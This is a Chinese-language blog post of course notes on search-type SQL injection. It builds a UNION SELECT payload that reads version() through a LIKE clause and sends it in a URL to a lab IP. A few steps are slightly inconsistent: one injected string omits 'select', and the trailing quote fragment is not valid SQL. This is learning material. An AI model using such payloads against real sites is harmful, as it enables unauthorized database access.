学习i春秋的时候难得的一节课没听懂但感觉自己能搞懂(其他课就是完全听不懂,或者简单到不需要听)
搜索形注入
搜索性注入
通常被注入的是这样的代码
1 | select * from user where username like '%p%'; |
这里的p
是一个变量的值.也许在某个url中这个语句的变量是这样使用的
1 | http://192.168.3.5/1.php?p=best |
将best
传入了p
查询语句变成了
1 | select * from user where username like '%best%'; |
这里我们探索注入点
就需要构造,比如让最终查询语句变成下面这种形式.
1 | select * from user where username like '%best%' union select version(),2,3,4 '%%' |
其实就等于下面这样
1 | select * from user where username like '%best%' union select version(),2,3,4 |
我们实际注入的代码是%' union version(),2,3,4 '%
,这就是p
的值
所以url中就是这样输入
1 | http://192.168.3.5/1.php?p=best%' union select version(),2,3,4 '% |
中途的疑问
其实注入的原理还是很简单,其中我对sql语句产生了疑问.
- 首先,是union后的select那些2,3,4是什么?
这其实就是充数的,为了让union后的列和union前的列相同,这样才满足union的使用条件.真实情况,我们不知道有多少列,就得一个一个试.测试中由于知道就直接写了4列. - 然后是为什么union后的select 没有使用from?
因为这个select并没有在某个表中查字段,所以不需要from,例如select 1;
这样的查询语句其实是成立的.
结束
还是自己的mysql语法不熟悉.
RECOMMEND
如果文章有问题欢迎指出,或者你也可以联系我
版权声明:
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 CN 许可协议。转载请注明出处!